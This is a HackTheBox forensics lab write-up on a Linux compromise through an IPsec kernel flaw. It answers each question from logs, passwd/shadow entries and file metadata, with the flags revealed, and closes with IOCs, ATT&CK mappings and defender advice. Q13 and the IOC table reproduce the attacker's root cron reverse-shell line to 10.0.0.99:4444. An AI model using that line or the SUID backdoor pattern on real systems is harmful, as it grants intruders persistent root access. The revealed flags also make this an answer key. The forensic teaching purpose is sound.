// HackTheBox  ·  writeup

DirtyFrag

HackTheBox Hard debugfsgrepsha256sumPython
DFIRLinux

Scenario

DirtyFrag is a Linux forensics lab that covers the exploitation of a kernel vulnerability (CVE-2026-43284) in the IPsec subsystem of an Ubuntu 22.04.2 workstation. The attacker created an exploit user account, triggered the XFRM/ESP subsystem initialization, and performed a privilege escalation visible through anomalous kernel log messages. Persistence was achieved through a hidden SUID backdoor binary in a writable directory and a reverse-shell cron job. Players will investigate kernel logs, /etc/passwd and /etc/shadow entries, file permissions, hashes, and cron configurations to reconstruct the attack chain.

Executive Summary

An attacker on an Ubuntu workstation created a local account and used it to run a kernel exploit against the IPsec XFRM/ESP subsystem. The kernel log shows the subsystem initializing and, a few seconds later, a su process launching a shell in an abnormal way, which is the privilege escalation. Persistence followed in two forms: a hidden SUID binary dropped in a world-writable temporary directory, and a per-minute root cron entry that opens a reverse shell. A UID 0 service account with a locked password was also present on the host.

Artifacts

Timestamp note: Log times are wall-clock only (no date shown in the answers). The kernel ring buffer also carries an uptime counter in brackets, which is what Q9 needs.

Reconnaissance and Triage

Q1 — What is the kernel version of the compromised system?

Triage first: the evidence is a gzipped disk image of a plain ext4 filesystem, so debugfs rdump extracts the whole tree without root (ownership errors are harmless). Everything below is read from that extracted tree. The snapshot/uname.txt file captured at collection time holds the running kernel string.

cat x/snapshot/uname.txt
Click to reveal answer 6.8.0-101-generic
Q3 — What Linux distribution and exact version is installed?

The Ubuntu installer leaves media-info behind with the exact point release, which is more precise than /etc/os-release.

cat x/var/installer/media-info
Click to reveal answer Ubuntu 22.04.2 LTS
Q4 — What is the CVE identifier for the vulnerability exploited in this incident?

Reference knowledge from the scenario brief: the kernel IPsec (XFRM/ESP) flaw behind this case is tracked as the CVE below. No artifact states it, so it is the identifier tying the kernel messages in Q7 and Q8 to a named bug.

Click flag to reveal CVE-2026-43284
Q5 — List all non-system user accounts on the machine in this exact format: username:UID sorted alphabetically by username.

Read etc/passwd and list accounts with real login purposes. Two have normal UIDs (t3m0 at 1000, mm0x at 1001). The third, svc_monitor, is a UID 0 account with a login shell, so it counts as non-system even though a naive UID >= 1000 filter drops it.

cat x/etc/passwd

Gotcha: The obvious filter, UID >= 1000, omits svc_monitor. HTB’s answer includes it because it has a login shell, despite UID 0.

Click to reveal answer mm0x:1001,svc_monitor:0,t3m0:1000

Initial Access

Q2 — What is the username of the account that was used to run the exploit?

The exploit user is the one that ran su to reach root. auth.log shows a su session for mm0x at 09:35:41, minutes after that account was created (Q6) and just before the kernel noise in Q7 and Q8.

grep -h 'su\[\|su:' x/var/log/auth.log
Click flag to reveal mm0x
Q6 — At what exact time was the exploit user account created?

auth.log records the useradd for the exploit account from Q2. The time is the entry’s timestamp.

grep useradd x/var/log/auth.log
Click flag to reveal 09:35:13

Privilege Escalation

Q7 — The kernel recorded a single event that could only appear if the ESP subsystem was initialized by the exploit. What is that exact message? Copy the text only, no timestamp, no brackets.

Tracing the kernel ring buffer in kern.log for XFRM/ESP initialization. The only line that appears when the subsystem is first loaded by the exploit is the XFRM netlink socket initialization, stamped 09:36:08 with kernel uptime 2296.641117.

grep -i xfrm x/var/log/kern.log
Click to reveal answer Initializing XFRM netlink socket
Q8 — What is the exact kernel log message that proves privilege escalation succeeded? Copy the message text only, without the timestamp or brackets.

Eight seconds later kern.log logs a su process starting /bin/sh with a NULL argv, at 09:36:16 and uptime 2304.134824. That kernel complaint is the side effect of the exploit hijacking the setuid su binary, so it marks the moment of escalation.

grep -i 'NULL argv' x/var/log/kern.log
Click flag to reveal process 'su' launched '/bin/sh' with NULL argv: empty string added
Q9 — How many seconds elapsed between the XFRM netlink socket initialization and the privilege escalation confirmation in the kernel log?

Subtract the kernel uptime stamps from Q7 and Q8, not the wall-clock times, since the uptime values carry microseconds: 2304.134824 minus 2296.641117.

python3 -c "print(round(2304.134824-2296.641117,6))"

Tip: Use the bracketed kernel uptime, not the syslog wall clock, for sub-second precision.

Click to reveal answer 7.493707

Persistence

Q10 — What single character in the shadow file proves that svc_monitor cannot be used for direct password-based login?

In etc/shadow the password field for svc_monitor is a single !, a locked password that no hash can match. The account is UID 0 (Q5), so it is a root-equivalent that can only be reached by other means such as the backdoor or a key.

grep svc_monitor x/etc/shadow

Tip: A * would also mean no password login; ! means the account was explicitly locked.

Click flag to reveal !
Q11 — What is the exact octal permission value of the hidden backdoor binary?

Hunting for the hidden binary: /var/tmp/.syshelper is a dot-file in a world-writable directory. debugfs stat reports mode 06755, which is setuid and setgid with rwxr-xr-x, and the answer is written without the leading zero.

debugfs -R 'stat /var/tmp/.syshelper' image.ext4
Click to reveal answer 6755
Q12 — What is the SHA256 hash of the hidden SUID binary?

Hash the extracted copy of the same file.

sha256sum x/var/tmp/.syshelper
Click flag to reveal 2c336c63e26881d2f02f34379024e7c314bce572c08cbaa319bacbbec29f93ed
Q13 — What is the exact full line of the malicious cron entry? Include every field from the schedule to the end of the command.

/etc/crontab carries a per-minute entry run as root that opens an interactive bash with its descriptors redirected to a TCP socket on port 4444: a reverse shell. The same command appears in syslog as a CRON execution, so it was actually firing.

grep -n 'dev/tcp' x/etc/crontab x/var/log/syslog
Click to reveal answer * * * * * root /bin/bash -i >& /dev/tcp/10.0.0.99/4444 0>&1

Attack Summary

PhaseAction
Initial AccessLocal account mm0x created
Privilege Escalationsu run from mm0x
Privilege EscalationXFRM netlink socket initialized by the exploit
Privilege EscalationKernel logs su launching /bin/sh with NULL argv
PersistenceHidden SUID binary placed in /var/tmp
PersistenceRoot cron entry with a bash reverse shell to port 4444

Forensic Timeline

TimestampEvent
09:35:13mm0x account created
09:35:41su session for mm0x in auth.log
09:36:08XFRM netlink socket initialized (uptime 2296.641117)
09:36:16Kernel logs su launching /bin/sh with NULL argv (uptime 2304.134824)

IOCs

TypeValue
Accountmm0x (UID 1001)
Accountsvc_monitor (UID 0, locked password)
File/var/tmp/.syshelper (mode 6755)
SHA2562c336c63e26881d2f02f34379024e7c314bce572c08cbaa319bacbbec29f93ed
Cron/etc/crontab reverse shell to 10.0.0[.]99:4444
CVECVE-2026-43284

MITRE ATT&CK

TechniqueIDDescription
Create Account: Local AccountT1136.001mm0x created on the host
Exploitation for Privilege EscalationT1068XFRM/ESP kernel flaw exploited via su
Abuse Elevation Control Mechanism: Setuid and SetgidT1548.001Hidden SUID/SGID binary /var/tmp/.syshelper
Scheduled Task/Job: CronT1053.003Per-minute root cron entry
Command and Scripting Interpreter: Unix ShellT1059.004bash -i reverse shell over /dev/tcp

Defender Takeaways

Kernel exploitation leaves a log signature. The NULL argv message from a su launching a shell is a rare kernel warning and the XFRM initialization on a workstation that does not use IPsec is another. Alert on both from kern.log.

UID 0 accounts other than root should never exist. svc_monitor has a root UID and a locked password, so it looks harmless in a shadow review. Audit passwd for any non-root UID 0 entry.

Dot-files with SUID bits in /var/tmp are a persistence tell. Mount world-writable directories nosuid and periodically sweep for setuid files.

A cron entry that touches /dev/tcp is a reverse shell. File integrity monitoring on /etc/crontab and egress filtering on port 4444 would have caught it.

Conclusion

The attacker went from a freshly created local user to root through a kernel bug within seconds, then left a SUID backdoor and a reverse-shell cron job behind. The kernel log was the tell for both the exploit and its timing.